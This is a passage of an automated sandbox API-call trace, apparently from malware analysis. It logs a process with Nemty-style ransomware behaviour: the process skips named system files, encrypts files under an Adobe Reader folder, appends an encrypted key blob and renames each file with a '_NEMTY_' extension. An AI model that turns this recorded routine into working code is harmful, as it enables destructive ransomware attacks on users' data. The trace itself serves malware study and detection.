ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1bdc77b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1bdc77b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0174.854] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0174.854] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1bdc77b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1bdc77b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.854] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0174.854] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0174.854] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0174.854] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0174.854] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0174.854] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0174.854] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0174.855] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0174.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0174.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.856] Sleep (dwMilliseconds=0x5) [0174.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1bded910, dwHighDateTime=0x1d561e8)) [0174.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1bded910, dwHighDateTime=0x1d561e8)) [0174.858] GetLastError () returned 0xb7 [0174.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.858] GetLastError () returned 0xb7 [0174.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.858] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0174.858] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0174.859] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0174.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0174.859] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="xd2iKwU1dAMl5NnHWLHE9cC6KIXtEoPaU0q2W6tO9NCvO6Op4hGVQs7Rj0PEOKW9\r\nHisEoZcKNIoWV/dtnXa6ED5j1gLyZH4M06JvbcLMJhQTae8WSwGM5uw9Sm+TjI0w\r\nq7K5zu0iQa87g0ylY+ozda892QuMTcgy0zlfPqeqJo6FIlG0XpB4A5KgqJqLANjL\r\nR7+4HX5UOc5RXN6tiezZPS3yKAQUVVuQZOOm7VD8xOGU8MBik4mwhqTMzfan3uO+\r\nX0VZT93X2/tdPRYL6UouY5w6mTEzYWgw0IRy6VEwxXo+cgcv8wrEYIXDV815/Znk\r\nYH6slZ2+fzIlD7TUOda8Rg==\r\n", pcchString=0x653e29c) returned 1 [0174.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0174.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0174.860] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=36007) returned 1 [0174.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8ca0) returned 0x6352c48 [0174.860] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.860] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8ca0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8ca0, lpOverlapped=0x0) returned 1 [0174.864] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.864] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8ca0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8ca0, lpOverlapped=0x0) returned 1 [0174.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.864] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=36007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ca7 [0174.864] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0174.864] CloseHandle (hObject=0x2f0) returned 1 [0174.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0174.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0174.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.865] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.865] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0174.865] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0174.866] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0174.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.866] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0174.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0174.867] Sleep (dwMilliseconds=0x5) [0174.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1be13a70, dwHighDateTime=0x1d561e8)) [0174.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1be13a70, dwHighDateTime=0x1d561e8)) [0174.874] GetLastError () returned 0x0 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.874] GetLastError () returned 0x0 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0174.874] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0174.874] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0174.874] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="HpWfwHocTT8Jeyzs92+z/Ws4+641bdRhvqEw8VMA4TE2E2v7e7mdJEckYVJ2OOTZ\r\nS/xO9wCIf+OFyk33IrLZXYdwRRmsQSOG8s3nawg3dkZjTbMHi/dZ94/JSaJpKRiY\r\nuTJy1wSvGscGy6nUoC/lkMlwS+rsw1Ncnl3Tq8efdHGhpIQVOo6b7NT1ZF7MQZvJ\r\nYVkNEsESfd/zE0PR9FT60iElwWYtH7W2nWx7+G+gp8XKh/fcarzEwKhgkSUzVnJD\r\nJsKqOyM9BY4j1zbB9w0O77CqzWvuPRjc/Ti1U9F+oqJTGb1Oet0Y8MqW+hiCR7fz\r\niiCeoXaGZ8Ed5CgXp/K6ZQ==\r\n", pcchString=0x653e29c) returned 1 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0174.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0174.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0174.875] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=225) returned 1 [0174.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0174.875] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.875] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0174.876] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.876] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0174.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0174.876] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=225, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1 [0174.876] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0174.876] CloseHandle (hObject=0x2f0) returned 1 [0174.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0174.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.876] RtlAllocateHeap 